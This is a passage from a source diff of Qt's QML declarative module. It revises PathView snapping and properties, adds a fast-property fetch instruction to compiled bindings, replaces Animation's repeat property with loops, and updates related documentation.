model->count()); - if (ii < 0) - ii = 0; - current = ii; - } else { - qreal bestDiff=1e9; - int bestI=-1; - for (int i=0; i<items.count(); i++){ - qreal percent = qreal(i) / items.count(); - percent = percent + _offset; - percent = qmlMod(percent, qreal(1.0)); - qreal diff = qAbs(snapPos - percent); - if (diff < bestDiff){ - bestDiff = diff; - bestI = i; - } - } - int modelIndex = (bestI - pathOffset + items.count())%items.count(); - modelIndex += firstIndex; - current = modelIndex; - } - current = qAbs(current % model->count()); + offset = qmlMod(offset, model->count()); + if (offset < 0) + offset += model->count(); + current = qRound(qAbs(qmlMod(model->count() - offset, model->count()))); } return current; @@ -1002,57 +1090,26 @@ void QDeclarativePathViewPrivate::snapToCurrent() if (!model || model->count() <= 0) return; - int itemIndex = (currentIndex - firstIndex + model->count()) % model->count(); - - //Rounds is the number of times round to make the current item visible - int rounds = itemIndex / items.count(); - int otherWayRounds = (model->count() - (itemIndex)) / items.count(); - if (otherWayRounds < rounds) - rounds = -otherWayRounds; - - itemIndex += pathOffset; - if(model->count() % items.count() && itemIndex - model->count() + items.count() > 0){ - //When model.count() is not a multiple of pathItemCount we need to manually - //fix the index so that going backwards one step works correctly. - itemIndex = itemIndex - model->count() + items.count(); - } - itemIndex %= items.count(); - qreal targetOffset = qmlMod(1.0 + snapPos - qreal(itemIndex) / items.count(), qreal(1.0)); - - if (targetOffset < 0) - targetOffset = 1.0 + targetOffset; - if (targetOffset == _offset && rounds == 0) - return; + qreal targetOffset = model->count() - currentIndex; moveReason = Other; tl.clear(); - moveOffset.setValue(_offset); - - if (rounds!=0){ - //Compensate if the targetOffset would bring the target in from off the screen - qreal distance = targetOffset - _offset; - if (distance <= -0.5) - rounds--; - if (distance > 0.5) - rounds++; - tl.move(moveOffset, targetOffset -rounds, QEasingCurve(QEasingCurve::InOutQuad), - int(items.count()*qMax((qreal)(2.0/items.count()),(qreal)qAbs(rounds)))); - tl.callback(QDeclarativeTimeLineCallback(&moveOffset, fixOffsetCallback, this)); - return; - } - - if (targetOffset - _offset > 0.5) { - qreal distance = 1 - targetOffset + _offset; - tl.move(moveOffset, 0.0, QEasingCurve(QEasingCurve::OutQuad), int(200 * _offset / distance)); - tl.set(moveOffset, 1.0); - tl.move(moveOffset, targetOffset, QEasingCurve(QEasingCurve::InQuad), int(200 * (1.0-targetOffset) / distance)); - } else if (targetOffset - _offset <= -0.5) { - qreal distance = 1 - _offset + targetOffset; - tl.move(moveOffset, 1.0, QEasingCurve(QEasingCurve::OutQuad), int(200 * (1.0-_offset) / distance)); + moveOffset.setValue(offset); + + const int duration = 300; + + if (targetOffset - offset > model->count()/2) { + qreal distance = model->count() - targetOffset + offset; + tl.move(moveOffset, 0.0, QEasingCurve(QEasingCurve::InQuad), int(duration * offset / distance)); + tl.set(moveOffset, model->count()); + tl.move(moveOffset, targetOffset, QEasingCurve(QEasingCurve::OutQuad), int(duration * (model->count()-targetOffset) / distance)); + } else if (targetOffset - offset <= -model->count()/2) { + qreal distance = model->count() - offset + targetOffset; + tl.move(moveOffset, model->count(), QEasingCurve(QEasingCurve::InQuad), int(duration * (model->count()-offset) / distance)); tl.set(moveOffset, 0.0); - tl.move(moveOffset, targetOffset, QEasingCurve(QEasingCurve::InQuad), int(200 * targetOffset / distance)); + tl.move(moveOffset, targetOffset, QEasingCurve(QEasingCurve::OutQuad), int(duration * targetOffset / distance)); } else { - tl.move(moveOffset, targetOffset, QEasingCurve(QEasingCurve::InOutQuad), 200); + tl.move(moveOffset, targetOffset, QEasingCurve(QEasingCurve::InOutQuad), duration); } } diff --git a/src/declarative/graphicsitems/qdeclarativepathview_p.h b/src/declarative/graphicsitems/qdeclarativepathview_p.h index 6dbd044..07b8f6f 100644 --- a/src/declarative/graphicsitems/qdeclarativepathview_p.h +++ b/src/declarative/graphicsitems/qdeclarativepathview_p.h @@ -62,8 +62,15 @@ class Q_DECLARATIVE_EXPORT QDeclarativePathView : public QDeclarativeItem Q_PROPERTY(int currentIndex READ currentIndex WRITE setCurrentIndex NOTIFY currentIndexChanged) Q_PROPERTY(qreal offset READ offset WRITE setOffset NOTIFY offsetChanged) Q_PROPERTY(qreal snapPosition READ snapPosition WRITE setSnapPosition NOTIFY snapPositionChanged) + + Q_PROPERTY(QDeclarativeComponent *highlight READ highlight WRITE setHighlight NOTIFY highlightChanged) + Q_PROPERTY(QDeclarativeItem *highlightItem READ highlightItem NOTIFY highlightItemChanged) + Q_PROPERTY(qreal dragMargin READ dragMargin WRITE setDragMargin NOTIFY dragMarginChanged) - Q_PROPERTY(int count READ count) + Q_PROPERTY(qreal flickDeceleration READ flickDeceleration WRITE setFlickDeceleration NOTIFY flickDecelerationChanged) + Q_PROPERTY(bool interactive READ isInteractive WRITE setInteractive NOTIFY interactiveChanged) + + Q_PROPERTY(int count READ count NOTIFY countChanged) Q_PROPERTY(QDeclarativeComponent *delegate READ delegate WRITE setDelegate NOTIFY delegateChanged) Q_PROPERTY(int pathItemCount READ pathItemCount WRITE setPathItemCount NOTIFY pathItemCountChanged) @@ -86,9 +93,19 @@ public: qreal snapPosition() const; void setSnapPosition(qreal pos); + QDeclarativeComponent *highlight() const; + void setHighlight(QDeclarativeComponent *highlight); + QDeclarativeItem *highlightItem(); + qreal dragMargin() const; void setDragMargin(qreal margin); + qreal flickDeceleration() const; + void setFlickDeceleration(qreal dec); + + bool isInteractive() const; + void setInteractive(bool); + int count() const; QDeclarativeComponent *delegate() const; @@ -103,11 +120,16 @@ Q_SIGNALS: void currentIndexChanged(); void offsetChanged(); void modelChanged(); + void countChanged(); void pathChanged(); void dragMarginChanged(); void snapPositionChanged(); void delegateChanged(); void pathItemCountChanged(); + void flickDecelerationChanged(); + void interactiveChanged(); + void highlightChanged(); + void highlightItemChanged(); protected: void mousePressEvent(QGraphicsSceneMouseEvent *event); @@ -122,6 +144,7 @@ private Q_SLOTS: void ticked(); void itemsInserted(int index, int count); void itemsRemoved(int index, int count); + void itemsMoved(int,int,int); void modelReset(); void createdItem(int index, QDeclarativeItem *item); void destroyingItem(QDeclarativeItem *item); diff --git a/src/declarative/graphicsitems/qdeclarativepathview_p_p.h b/src/declarative/graphicsitems/qdeclarativepathview_p_p.h index 62f7d95..1780869 100644 --- a/src/declarative/graphicsitems/qdeclarativepathview_p_p.h +++ b/src/declarative/graphicsitems/qdeclarativepathview_p_p.h @@ -75,17 +75,18 @@ class QDeclarativePathViewPrivate : public QDeclarativeItemPrivate public: QDeclarativePathViewPrivate() : path(0), currentIndex(0), startPc(0), lastDist(0) - , lastElapsed(0), stealMouse(false), ownModel(false), activeItem(0) - , snapPos(0), dragMargin(0), moveOffset(this, &QDeclarativePathViewPrivate::setOffset) - , firstIndex(0), pathItems(-1), pathOffset(0), requestedIndex(-1) - , moveReason(Other), attType(0) + , lastElapsed(0), mappedRange(1.0), stealMouse(false), ownModel(false), interactive(true) + , snapPos(0), dragMargin(0), deceleration(100) + , moveOffset(this, &QDeclarativePathViewPrivate::setOffset) + , firstIndex(-1), pathItems(-1), requestedIndex(-1) + , moveReason(Other), attType(0), highlightComponent(0), highlightItem(0) { } void init() { Q_Q(QDeclarativePathView); - _offset = 0; + offset = 0; q->setAcceptedMouseButtons(Qt::LeftButton); q->setFlag(QGraphicsItem::ItemIsFocusScope); q->setFiltersChildEvents(true); @@ -96,7 +97,10 @@ public: void releaseItem(QDeclarativeItem *item); QDeclarativePathViewAttached *attached(QDeclarativeItem *item); void clear(); - + void updateMappedRange(); + qreal positionOfIndex(int index) const; + void createHighlight(); + void updateHighlight(); bool isValid() const { return model && model->count() > 0 && model->isValid() && path; } @@ -117,19 +121,20 @@ public: QPointF startPoint; qreal lastDist; int lastElapsed; - qreal _offset; + qreal offset; + qreal mappedRange; bool stealMouse : 1; bool ownModel : 1; + bool interactive : 1; QTime lastPosTime; QPointF lastPos; - QDeclarativeItem *activeItem; qreal snapPos; qreal dragMargin; + qreal deceleration; QDeclarativeTimeLine tl; QDeclarativeTimeLineValueProxy<QDeclarativePathViewPrivate> moveOffset; int firstIndex; int pathItems; - int pathOffset; int requestedIndex; QList<QDeclarativeItem *> items; QDeclarativeGuard<QDeclarativeVisualModel> model; @@ -137,6 +142,8 @@ public: enum MovementReason { Other, Key, Mouse }; MovementReason moveReason; QDeclarativeOpenMetaObjectType *attType; + QDeclarativeComponent *highlightComponent; + QDeclarativeItem *highlightItem; }; QT_END_NAMESPACE diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp index ded58f5..7a0d33a 100644 --- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp +++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp @@ -385,7 +385,7 @@ Column { move: Transition { NumberAnimation { properties: "y" - easing: "easeOutBounce" + easing.type: "OutBounce" } } } diff --git a/src/declarative/graphicsitems/qdeclarativerectangle.cpp b/src/declarative/graphicsitems/qdeclarativerectangle.cpp index 207d05e..b82fb53 100644 --- a/src/declarative/graphicsitems/qdeclarativerectangle.cpp +++ b/src/declarative/graphicsitems/qdeclarativerectangle.cpp @@ -470,7 +470,7 @@ void QDeclarativeRectangle::drawRect(QPainter &p) QRectF QDeclarativeRectangle::boundingRect() const { Q_D(const QDeclarativeRectangle); - return QRectF(-d->paintmargin, -d->paintmargin, d->width+d->paintmargin*2, d->height+d->paintmargin*2); + return QRectF(-d->paintmargin, -d->paintmargin, d->width()+d->paintmargin*2, d->height()+d->paintmargin*2); } QT_END_NAMESPACE diff --git a/src/declarative/qml/qdeclarativecompiledbindings.cpp b/src/declarative/qml/qdeclarativecompiledbindings.cpp index 1acca2f..67750a4 100644 --- a/src/declarative/qml/qdeclarativecompiledbindings.cpp +++ b/src/declarative/qml/qdeclarativecompiledbindings.cpp @@ -53,11 +53,15 @@ #include <QtCore/qnumeric.h> #include <private/qdeclarativeanchors_p_p.h> #include <private/qdeclarativeglobal_p.h> +#include <private/qdeclarativefastproperties_p.h> QT_BEGIN_NAMESPACE DEFINE_BOOL_CONFIG_OPTION(qmlExperimental, QML_EXPERIMENTAL); DEFINE_BOOL_CONFIG_OPTION(qmlDisableOptimizer, QML_DISABLE_OPTIMIZER); +DEFINE_BOOL_CONFIG_OPTION(qmlDisableFastProperties, QML_DISABLE_FAST_PROPERTIES); + +Q_GLOBAL_STATIC(QDeclarativeFastProperties, fastProperties); using namespace QDeclarativeJS; @@ -334,6 +338,8 @@ struct Instr { Subscribe, // subscribe SubscribeId, // subscribe + FetchAndSubscribe, // fetchAndSubscribe + LoadId, // load LoadScope, // load LoadRoot, // load @@ -433,6 +439,14 @@ struct Instr { qint8 output; qint8 objectReg; quint8 exceptionId; + quint16 subscription; + quint16 function; + } fetchAndSubscribe; + struct { + quint8 type; + qint8 output; + qint8 objectReg; + quint8 exceptionId; quint32 index; } fetch; struct { @@ -937,6 +951,9 @@ static void dumpInstruction(const Instr *instr) case Instr::SubscribeId: qWarning().nospace() << "SubscribeId" << "\t\t" << instr->subscribe.offset << "\t" << instr->subscribe.reg << "\t" << instr->subscribe.index; break; + case Instr::FetchAndSubscribe: + qWarning().nospace() << "FetchAndSubscribe" << "\t" << instr->fetchAndSubscribe.output << "\t" << instr->fetchAndSubscribe.objectReg << "\t" << instr->fetchAndSubscribe.subscription; + break; case Instr::LoadId: qWarning().nospace() << "LoadId" << "\t\t\t" << instr->load.index << "\t" << instr->load.reg; break; @@ -1070,6 +1087,8 @@ void QDeclarativeCompiledBindingsPrivate::run(int instrIndex, QDeclarativeContextData *context, QDeclarativeDelayedError *error, QObject *scope, QObject *output) { + Q_Q(QDeclarativeCompiledBindings); + error->removeError(); Register registers[32]; @@ -1081,6 +1100,7 @@ void QDeclarativeCompiledBindingsPrivate::run(int instrIndex, instr += instrIndex; const char *data = program->data(); + // return; #ifdef COMPILEDBINDINGS_DEBUG qWarning().nospace() << "Begin binding run"; #endif @@ -1107,6 +1127,32 @@ void QDeclarativeCompiledBindingsPrivate::run(int instrIndex, } break; + case Instr::FetchAndSubscribe: + { + const Register &input = registers[instr->fetchAndSubscribe.objectReg]; + Register &output = registers[instr->fetchAndSubscribe.output]; + + if (input.isUndefined()) { + throwException(instr->fetchAndSubscribe.exceptionId, error, program, context); + return; + } + + QObject *object = input.getQObject(); + if (!object) { + output.setUndefined(); + } else { + int subIdx = instr->fetchAndSubscribe.subscription; + QDeclarativeCompiledBindingsPrivate::Subscription *sub = 0; + if (subIdx != -1) { + sub = (subscriptions + subIdx); + sub->target = q; + sub->targetMethod = methodCount + subIdx; + } + fastProperties()->accessor(instr->fetchAndSubscribe.function)(object, output.typeDataPtr(), sub); + } + } + break; + case Instr::LoadId: registers[instr->load.reg].setQObject(context->idValues[instr->load.index].data()); break; @@ -2376,29 +2422,41 @@ bool QDeclarativeBindingCompilerPrivate::buildName(QStringList &name, return true; } - bool QDeclarativeBindingCompilerPrivate::fetch(Result &rv, const QMetaObject *mo, int reg, - int idx, const QStringList &subName, QDeclarativeJS::AST::ExpressionNode *node) + int idx, const QStringList &subName, + QDeclarativeJS::AST::ExpressionNode *node) { QMetaProperty prop = mo->property(idx); rv.metaObject = 0; rv.type = 0; - if (subscription(subName, &rv) && prop.hasNotifySignal() && prop.notifySignalIndex() != -1) { - Instr sub; - sub.common.type = Instr::Subscribe; - sub.subscribe.offset = subscriptionIndex(subName); - sub.subscribe.reg = reg; - sub.subscribe.index = prop.notifySignalIndex(); - bytecode << sub; - } + int fastFetchIndex = fastProperties()->accessorIndexForProperty(mo, idx); Instr fetch; - fetch.common.type = Instr::Fetch; - fetch.fetch.objectReg = reg; - fetch.fetch.index = idx; - fetch.fetch.output = reg; - fetch.fetch.exceptionId = exceptionId(node); + + if (!qmlDisableFastProperties() && fastFetchIndex != -1) { + fetch.common.type = Instr::FetchAndSubscribe; + fetch.fetchAndSubscribe.objectReg = reg; + fetch.fetchAndSubscribe.output = reg; + fetch.fetchAndSubscribe.function = fastFetchIndex; + fetch.fetchAndSubscribe.subscription = subscriptionIndex(subName); + fetch.fetchAndSubscribe.exceptionId = exceptionId(node); + } else { + if (subscription(subName, &rv) && prop.hasNotifySignal() && prop.notifySignalIndex() != -1) { + Instr sub; + sub.common.type = Instr::Subscribe; + sub.subscribe.offset = subscriptionIndex(subName); + sub.subscribe.reg = reg; + sub.subscribe.index = prop.notifySignalIndex(); + bytecode << sub; + } + + fetch.common.type = Instr::Fetch; + fetch.fetch.objectReg = reg; + fetch.fetch.index = idx; + fetch.fetch.output = reg; + fetch.fetch.exceptionId = exceptionId(node); + } rv.type = prop.userType(); rv.metaObject = engine->metaObjectForType(rv.type); diff --git a/src/declarative/qml/qdeclarativecompiledbindings_p.h b/src/declarative/qml/qdeclarativecompiledbindings_p.h index 84a5df9..8776c08 100644 --- a/src/declarative/qml/qdeclarativecompiledbindings_p.h +++ b/src/declarative/qml/qdeclarativecompiledbindings_p.h @@ -60,7 +60,7 @@ QT_BEGIN_HEADER QT_BEGIN_NAMESPACE -class QDeclarativeBindingCompilerPrivate; +struct QDeclarativeBindingCompilerPrivate; class QDeclarativeBindingCompiler { public: diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index e668553..c1f2fe6 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -1368,7 +1368,6 @@ bool QDeclarativeCompiler::buildSignal(QDeclarativeParser::Property *prop, QDecl const BindingContext &ctxt) { Q_ASSERT(obj->metaObject()); - Q_ASSERT(!prop->isEmpty()); QByteArray name = prop->name; Q_ASSERT(name.startsWith("on")); @@ -1387,7 +1386,7 @@ bool QDeclarativeCompiler::buildSignal(QDeclarativeParser::Property *prop, QDecl } else { if (prop->value || prop->values.count() != 1) - COMPILE_EXCEPTION(prop, QCoreApplication::translate("QDeclarativeCompiler","Incorrectly specified signal")); + COMPILE_EXCEPTION(prop, QCoreApplication::translate("QDeclarativeCompiler","Incorrectly specified signal assignment")); prop->index = sigIdx; obj->addSignalProperty(prop); diff --git a/src/declarative/qml/qdeclarativecontext.cpp b/src/declarative/qml/qdeclarativecontext.cpp index ab3849a..2b8cf70 100644 --- a/src/declarative/qml/qdeclarativecontext.cpp +++ b/src/declarative/qml/qdeclarativecontext.cpp @@ -361,22 +361,6 @@ QVariant QDeclarativeContext::contextProperty(const QString &name) const return value; } -bool QDeclarativeContext::isSafeOrigin(const QUrl &src) const -{ - if (src.isRelative()) - return true; - if (src.scheme()==QLatin1String("https")) - return true; - - QUrl base = baseUrl(); - if (src.host() == base.host() && src.port() == base.port()) // including files (with no host) - return true; - - qWarning() << src << "is not a safe origin from" << base; - - return false; -} - /*! Resolves the URL \a src relative to the URL of the containing component. @@ -740,6 +724,21 @@ void QDeclarativeContextData::setIdPropertyData(QDeclarativeIntegerCache *data) idValues = new ContextGuard[idValueCount]; } +QString QDeclarativeContextData::findObjectId(const QObject *obj) const +{ + if (!idValues || !propertyNames) + return QString(); + + for (int i=0; i<idValueCount; i++) { + if (idValues[i] == obj) + return propertyNames->findId(i); + } + + if (linkedContext) + return linkedContext->findObjectId(obj); + return QString(); +} + QDeclarativeContext *QDeclarativeContextData::asQDeclarativeContext() { if (!publicContext) diff --git a/src/declarative/qml/qdeclarativecontext.h b/src/declarative/qml/qdeclarativecontext.h index 959af8b..a349628 100644 --- a/src/declarative/qml/qdeclarativecontext.h +++ b/src/declarative/qml/qdeclarativecontext.h @@ -85,8 +85,6 @@ public: void setBaseUrl(const QUrl &); QUrl baseUrl() const; - bool isSafeOrigin(const QUrl &src) const; - private: friend class QDeclarativeVME; friend class QDeclarativeEngine; diff --git a/src/declarative/qml/qdeclarativecontext_p.h b/src/declarative/qml/qdeclarativecontext_p.h index f07045e..397f37a 100644 --- a/src/declarative/qml/qdeclarativecontext_p.h +++ b/src/declarative/qml/qdeclarativecontext_p.h @@ -190,6 +190,8 @@ public: // Linked contexts. this owns linkedContext. QDeclarativeContextData *linkedContext; + QString findObjectId(const QObject *obj) const; + static QDeclarativeContextData *get(QDeclarativeContext *context) { return QDeclarativeContextPrivate::get(context)->data; } @@ -211,8 +213,11 @@ public: inline operator QDeclarativeContextData*() const { return m_contextData; } inline QDeclarativeContextData* operator->() const { return m_contextData; } + inline QDeclarativeGuardedContextData &operator=(QDeclarativeContextData *d); private: + QDeclarativeGuardedContextData &operator=(const QDeclarativeGuardedContextData &); + QDeclarativeGuardedContextData(const QDeclarativeGuardedContextData &); friend class QDeclarativeContextData; inline void clear(); @@ -267,6 +272,13 @@ void QDeclarativeGuardedContextData::clear() } } +QDeclarativeGuardedContextData & +QDeclarativeGuardedContextData::operator=(QDeclarativeContextData *d) +{ + setContextData(d); + return *this; +} + QT_END_NAMESPACE #endif // QDECLARATIVECONTEXT_P_H diff --git a/src/declarative/qml/qdeclarativedom.cpp b/src/declarative/qml/qdeclarativedom.cpp index cb56ead..366750e 100644 --- a/src/declarative/qml/qdeclarativedom.cpp +++ b/src/declarative/qml/qdeclarativedom.cpp @@ -1107,8 +1107,7 @@ Rectangle { x: NumberAnimation { from: 0 to: 100 - repeat: true - running: true + loops: Animation.Infinite } } \endqml @@ -1156,8 +1155,7 @@ Rectangle { x: NumberAnimation { from: 0 to: 100 - repeat: true - running: true + loops: Animation.Infinite } } \endqml diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index 164fab7..0980b62 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -218,7 +218,6 @@ QDeclarativeScriptEngine::QDeclarativeScriptEngine(QDeclarativeEnginePrivate *pr // XXX When the above a done some better way, that way should also be // XXX used to add Qt.Sound class. - //types qtObject.setProperty(QLatin1String("rgba"), newFunction(QDeclarativeEnginePrivate::rgba, 4)); qtObject.setProperty(QLatin1String("hsla"), newFunction(QDeclarativeEnginePrivate::hsla, 4)); diff --git a/src/declarative/qml/qdeclarativeenginedebug.cpp b/src/declarative/qml/qdeclarativeenginedebug.cpp index a377b35..d30aa8e 100644 --- a/src/declarative/qml/qdeclarativeenginedebug.cpp +++ b/src/declarative/qml/qdeclarativeenginedebug.cpp @@ -68,16 +68,16 @@ QDeclarativeEngineDebugServer::QDeclarativeEngineDebugServer(QObject *parent) QDataStream &operator<<(QDataStream &ds, const QDeclarativeEngineDebugServer::QDeclarativeObjectData &data) { - ds << data.url << data.lineNumber << data.columnNumber << data.objectName - << data.objectType << data.objectId << data.contextId; + ds << data.url << data.lineNumber << data.columnNumber << data.idString + << data.objectName << data.objectType << data.objectId << data.contextId; return ds; } QDataStream &operator>>(QDataStream &ds, QDeclarativeEngineDebugServer::QDeclarativeObjectData &data) { - ds >> data.url >> data.lineNumber >> data.columnNumber >> data.objectName - >> data.objectType >> data.objectId >> data.contextId; + ds >> data.url >> data.lineNumber >> data.columnNumber >> data.idString + >> data.objectName >> data.objectType >> data.objectId >> data.contextId; return ds; } @@ -275,6 +275,13 @@ QDeclarativeEngineDebugServer::objectData(QObject *object) rv.columnNumber = -1; } + QDeclarativeContext *context = qmlContext(object); + if (context) { + QDeclarativeContextData *cdata = QDeclarativeContextData::get(context); + if (cdata) + rv.idString = cdata->findObjectId(object); + } + rv.objectName = object->objectName(); rv.objectId = QDeclarativeDebugService::idForObject(object); rv.contextId = QDeclarativeDebugService::idForObject(qmlContext(object)); diff --git a/src/declarative/qml/qdeclarativeenginedebug_p.h b/src/declarative/qml/qdeclarativeenginedebug_p.h index a95449b..9491411 100644 --- a/src/declarative/qml/qdeclarativeenginedebug_p.h +++ b/src/declarative/qml/qdeclarativeenginedebug_p.h @@ -75,6 +75,7 @@ public: QUrl url; int lineNumber; int columnNumber; + QString idString; QString objectName; QString objectType; int objectId; diff --git a/src/declarative/qml/qdeclarativeintegercache.cpp b/src/declarative/qml/qdeclarativeintegercache.cpp index 8fa210f..be36471 100644 --- a/src/declarative/qml/qdeclarativeintegercache.cpp +++ b/src/declarative/qml/qdeclarativeintegercache.cpp @@ -64,6 +64,16 @@ void QDeclarativeIntegerCache::clear() engine = 0; } +QString QDeclarativeIntegerCache::findId(int value) const +{ + for (StringCache::ConstIterator iter = stringCache.begin(); + iter != stringCache.end(); ++iter) { + if (iter.value() && iter.value()->value == value) + return iter.key(); + } + return QString(); +} + void QDeclarativeIntegerCache::add(const QString &id, int value) { Q_ASSERT(!stringCache.contains(id)); diff --git a/src/declarative/qml/qdeclarativeintegercache_p.h b/src/declarative/qml/qdeclarativeintegercache_p.h index b57565e..5fb5a76 100644 --- a/src/declarative/qml/qdeclarativeintegercache_p.h +++ b/src/declarative/qml/qdeclarativeintegercache_p.h @@ -73,6 +73,7 @@ public: inline int count() const; void add(const QString &, int); int value(const QString &); + QString findId(int value) const; inline int value(const QScriptDeclarativeClass::Identifier &id) const; protected: diff --git a/src/declarative/qml/qdeclarativelist.h b/src/declarative/qml/qdeclarativelist.h index ed402a8..bd87990 100644 --- a/src/declarative/qml/qdeclarativelist.h +++ b/src/declarative/qml/qdeclarativelist.h @@ -54,6 +54,9 @@ QT_MODULE(Declarative) class QObject; struct QMetaObject; + +#ifndef QDECLARATIVELISTPROPERTY +#define QDECLARATIVELISTPROPERTY template<typename T> struct QDeclarativeListProperty { typedef void (*AppendFunction)(QDeclarativeListProperty<T> *, T*); @@ -106,6 +109,7 @@ private: return ((QList<T *> *)p->data)->clear(); } }; +#endif class QDeclarativeEngine; class QDeclarativeListReferencePrivate; diff --git a/src/declarative/qml/qdeclarativemetatype_p.h b/src/declarative/qml/qdeclarativemetatype_p.h index e70b4bf..b3ec5e3 100644 --- a/src/declarative/qml/qdeclarativemetatype_p.h +++ b/src/declarative/qml/qdeclarativemetatype_p.h @@ -138,7 +138,7 @@ public: int index() const; private: friend class QDeclarativeTypePrivate; - friend class QDeclarativeMetaTypeData; + friend struct QDeclarativeMetaTypeData; friend int QDeclarativePrivate::registerType(const QDeclarativePrivate::RegisterInterface &); friend int QDeclarativePrivate::registerType(const QDeclarativePrivate::RegisterType &); QDeclarativeType(int, const QDeclarativePrivate::RegisterInterface &); diff --git a/src/declarative/qml/qml.pri b/src/declarative/qml/qml.pri index 49888c3..fc8ba50 100644 --- a/src/declarative/qml/qml.pri +++ b/src/declarative/qml/qml.pri @@ -31,6 +31,7 @@ SOURCES += \ $$PWD/qdeclarativerewrite.cpp \ $$PWD/qdeclarativevaluetype.cpp \ $$PWD/qdeclarativecompiledbindings.cpp \ + $$PWD/qdeclarativefastproperties.cpp \ $$PWD/qdeclarativexmlhttprequest.cpp \ $$PWD/qdeclarativesqldatabase.cpp \ $$PWD/qmetaobjectbuilder.cpp \ @@ -103,6 +104,7 @@ HEADERS += \ $$PWD/qbitfield_p.h \ $$PWD/qdeclarativevaluetype_p.h \ $$PWD/qdeclarativecompiledbindings_p.h \ + $$PWD/qdeclarativefastproperties_p.h \ $$PWD/qdeclarativexmlhttprequest_p.h \ $$PWD/qdeclarativesqldatabase_p.h \ $$PWD/qmetaobjectbuilder_p.h \ diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp index 1fb3d99..bad142c 100644 --- a/src/declarative/util/qdeclarativeanimation.cpp +++ b/src/declarative/util/qdeclarativeanimation.cpp @@ -190,9 +190,13 @@ void QDeclarativeAbstractAnimation::setRunning(bool r) d->running = r; if (d->running) { - if (d->alwaysRunToEnd && d->repeat + if (d->alwaysRunToEnd && d->loopCount != 1 && qtAnimation()->state() == QAbstractAnimation::Running) { - qtAnimation()->setLoopCount(-1); + //we've restarted before the final loop finished; restore proper loop count + if (d->loopCount == -1) + qtAnimation()->setLoopCount(d->loopCount); + else + qtAnimation()->setLoopCount(qtAnimation()->currentLoop() + d->loopCount); } if (!d->connectedTimeLine) { @@ -204,8 +208,8 @@ void QDeclarativeAbstractAnimation::setRunning(bool r) emit started(); } else { if (d->alwaysRunToEnd) { - if (d->repeat) - qtAnimation()->setLoopCount(qtAnimation()->currentLoop()+1); + if (d->loopCount != 1) + qtAnimation()->setLoopCount(qtAnimation()->currentLoop()+1); //finish the current loop } else qtAnimation()->stop(); @@ -300,10 +304,12 @@ void QDeclarativeAbstractAnimation::setAlwaysRunToEnd(bool f) } /*! - \qmlproperty bool Animation::repeat - This property holds whether the animation should repeat. + \qmlproperty int Animation::loops + This property holds the number of times the animation should play. + + By default, \c loops is 1: the animation will play through once and then stop. - If set, the animation will continuously repeat until it is explicitly + If set to Animation.Infinite, the animation will continuously repeat until it is explicitly stopped - either by setting the \c running property to false, or by calling the \c stop() method. @@ -311,28 +317,36 @@ void QDeclarativeAbstractAnimation::setAlwaysRunToEnd(bool f) \code Rectangle { - NumberAnimation on rotation { running: true; repeat: true; from: 0 to: 360 } + width: 100; height: 100; color: "green" + RotationAnimation on rotation { + loops: Animation.Infinite + from: 0 + to: 360 + } } \endcode */ -bool QDeclarativeAbstractAnimation::repeat() const +int QDeclarativeAbstractAnimation::loops() const { Q_D(const QDeclarativeAbstractAnimation); - return d->repeat; + return d->loopCount; } -void QDeclarativeAbstractAnimation::setRepeat(bool r) +void QDeclarativeAbstractAnimation::setLoops(int loops) { Q_D(QDeclarativeAbstractAnimation); - if (r == d->repeat) + if (loops < 0) + loops = -1; + + if (loops == d->loopCount) return; - d->repeat = r; - int lc = r ? -1 : 1; - qtAnimation()->setLoopCount(lc); - emit repeatChanged(r); + d->loopCount = loops; + qtAnimation()->setLoopCount(loops); + emit loopCountChanged(loops); } + int QDeclarativeAbstractAnimation::currentTime() { return qtAnimation()->currentLoopTime(); @@ -509,8 +523,9 @@ void QDeclarativeAbstractAnimation::timelineComplete() { Q_D(QDeclarativeAbstractAnimation); setRunning(false); - if (d->alwaysRunToEnd && d->repeat) { - qtAnimation()->setLoopCount(-1); + if (d->alwaysRunToEnd && d->loopCount != 1) { + //restore the proper loopCount for the next run + qtAnimation()->setLoopCount(d->loopCount); } } @@ -658,6 +673,37 @@ void QDeclarativeColorAnimation::setTo(const QColor &t) \inherits Animation \brief The ScriptAction element allows scripts to be run during an animation. + ScriptAction can be used to run script at a specific point in an animation. + + \qml + SequentialAnimation { + NumberAnimation { ... } + ScriptAction { script: doSomething(); } + NumberAnimation { ... } + } + \endqml + + When used as part of a Transition, you can also target a specific + StateChangeScript to run using the \c scriptName property. + + \qml + State { + StateChangeScript { + name: "myScript" + script: doStateStuff(); + } + } + ... + Transition { + SequentialAnimation { + NumberAnimation { ... } + ScriptAction { scriptName: "myScript" } + NumberAnimation { ... } + } + } + \endqml + + \sa StateChangeScript */ /*! \internal @@ -698,11 +744,14 @@ void QDeclarativeScriptAction::setScript(const QDeclarativeScriptString &script) } /*! - \qmlproperty QString ScriptAction::stateChangeScriptName + \qmlproperty QString ScriptAction::scriptName This property holds the the name of the StateChangeScript to run. This property is only valid when ScriptAction is used as part of a transition. - If both script and stateChangeScriptName are set, stateChangeScriptName will be used. + If both script and scriptName are set, scriptName will be used. + + \note When using scriptName in a reversible transition, the script will only + be run when the transition is being run forwards. */ QString QDeclarativeScriptAction::stateChangeScriptName() const { @@ -718,6 +767,9 @@ void QDeclarativeScriptAction::setStateChangeScriptName(const QString &name) void QDeclarativeScriptActionPrivate::execute() { + if (hasRunScriptScript && reversing) + return; + QDeclarativeScriptString scriptStr = hasRunScriptScript ? runScriptScript : script; const QString &str = scriptStr.script(); @@ -733,19 +785,18 @@ void QDeclarativeScriptAction::transition(QDeclarativeStateActions &actions, { Q_D(QDeclarativeScriptAction); Q_UNUSED(modified); - Q_UNUSED(direction); d->hasRunScriptScript = false; + d->reversing = (direction == Backward); for (int ii = 0; ii < actions.count(); ++ii) { QDeclarativeAction &action = actions[ii]; if (action.event && action.event->typeName() == 